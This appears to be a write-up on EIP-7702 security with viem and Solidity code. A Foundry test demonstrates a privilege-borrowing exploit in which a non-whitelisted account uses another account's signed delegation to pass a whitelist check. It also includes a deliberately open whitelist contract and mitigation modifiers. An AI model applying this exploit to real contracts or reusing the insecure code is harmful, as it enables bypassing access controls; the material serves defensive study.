EIP 7702 Security Considerations

authorization_list = [[chain_id, address, nonce, y_parity, r, s], ...]

import { walletClient } from "./client.js";
 
const accountImplementation = "0x4Cd241E8d1510e30b2076397afc7508Ae59C66c9";

// Signs an EIP-7702 Authorization object.
// You can use recoverAuthorizationAddress to recover the signing address from the signed Authorization object
const authorization = await walletClient.signAuthorization({
    // Address of the contract to delegate to.
	contractAddress: accountImplementation, 
    // By default, it will be assumed that the EIP-7702 Transaction will be executed by another Account.
	executor: "self",
    // chainId and nonce should auto-populate; override if needed
});
 
const hash = await walletClient.sendTransaction({
	authorizationList: [authorization],
	data: "0x",
	to: walletClient.account.address,
});
console.log(`Delegated at tx ${hash}`);

import { zeroAddress } from "viem";
 
import accountAbi from "./abi.js";
import { account, walletClient } from "./client.js";
 
const hash = await walletClient.writeContract({
	abi: accountAbi,
	address: account.address,
	functionName: "executeBatch",
	args: [
		[
			{
				target: zeroAddress,
				value: 1n,
				data: "0x",
			},
			{
				target: "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
				value: 0n,
				data: "0xdeadbeef",
			},
		],
	],
});
console.log(`Transaction hash ${hash}`);

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/console.sol";
import "./IWhitelist.sol";

contract Whitelist is IWhitelist {
    mapping(address => bool) public whitelist;
    uint256 public accessCount;

    // Simplified: Anyone can add to whitelist for demo (in real protocols, this is admin/KYC-gated)
    function addToWhitelist(address user) external {
        whitelist[user] = true;
    }

    function restricted() external {
        require(whitelist[msg.sender], "Not whitelisted");

        console.log("msg.sender:", msg.sender);

        accessCount++;
        emit AccessGranted(msg.sender, tx.origin, msg.sender);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./IWhitelist.sol";

contract Proxy {
    // Public entrypoint: Called on delegated EOA; param ensures flexibility
    function callThis(address victimAddr) external {
        IWhitelist(victimAddr).restricted();
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/IWhitelist.sol";
import "../src/Whitelist.sol";
import "../src/Proxy.sol";

contract ExploitTest is Test {
    IWhitelist whitelistInterface;
    Whitelist whitelist;        // Vulnerable to EIP-7702 exploit

    Proxy proxy;
    address alice;
    uint256 alicePk = 1;  // Arbitrary private key for Alice (whitelisted user)
    address bob;
    uint256 bobPk = 2;  // Arbitrary private key for Bob (non-whitelisted attacker)

    function setUp() public {
        alice = vm.addr(alicePk);
        bob = vm.addr(bobPk);

        // Log the generated addresses for debugging
        console.log("Alice address:", alice);
        console.log("Bob address:", bob);

        whitelist = new Whitelist();
    }

    // Normal whitelisted access works
    function testWhitelistedAccess() public {
        whitelist.addToWhitelist(alice);
        vm.prank(alice);
        whitelist.restricted();
        assertEq(whitelist.accessCount(), 1);
    }

    // Non-whitelisted access reverts
    function testNonWhitelistedAccessReverts() public {
        vm.prank(bob);
        vm.expectRevert("Not whitelisted");
        whitelist.restricted();
        assertEq(whitelist.accessCount(), 0);
    }

    // Full EIP-7702 privilege borrowing exploit
    function testExploit() public {
        // Step 1: Whitelist Alice's EOA (Alice is the legitimate whitelisted user)
        whitelist.addToWhitelist(alice);
        assertTrue(whitelist.whitelist(alice));

        // Step 2: Alice deploys the proxy contract (trusted parties can use this to borrow her privileges)
        vm.prank(alice);
        proxy = new Proxy();

        // Step 3: Alice signs delegation authorization once (like EIP-712 typed data)
        // This creates a reusable signature: [chain_id, proxy_address, nonce, y_parity, r, s]
        // Alice can share this sig with trusted parties who need to "borrow" her whitelist privileges
        Vm.SignedDelegation memory sd = vm.signDelegation(address(proxy), alicePk);

        // Step 4: Bob (trusted but non-whitelisted party) wants to borrow Alice's privileges
        // He broadcasts his own EIP-7702 tx, attaching Alice's pre-signed delegation authorization
        // The EVM validates Alice's signature and temporarily delegates her EOA to run proxy code
        vm.startBroadcast(bobPk);
        vm.attachDelegation(sd);

        // Step 5: Bob calls callThis() on Alice's delegated address
        // Alice's EOA temporarily executes proxy code, so msg.sender = Alice (whitelisted)
        // Bob pays gas but gets Alice's privileges through the delegation
        Proxy(alice).callThis(address(whitelist));

        vm.stopBroadcast();

        // Step 6: Verify privilege borrowing worked: Restricted function executed under Alice's identity
        assertEq(whitelist.accessCount(), 1);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

error DelegationNotAllowed(); 

/// @dev Reject calls that are executing an EIP-7702 delegation stub at msg.sender.
///      EIP-7702 delegation stub prefix: 0xef 0x01 0x00
modifier noEIP7702Delegation() {
    bytes memory code = msg.sender.code;
    if (code.length >= 3) {
        if (code[0] == bytes1(0xef) && code[1] == bytes1(0x01) && code[2] == bytes1(0x00)) {
            revert DelegationNotAllowed();
        }
    }
    _;
}

modifier onlyEOA() {
    require(msg.sender == tx.origin, "EOA only");
    _;
}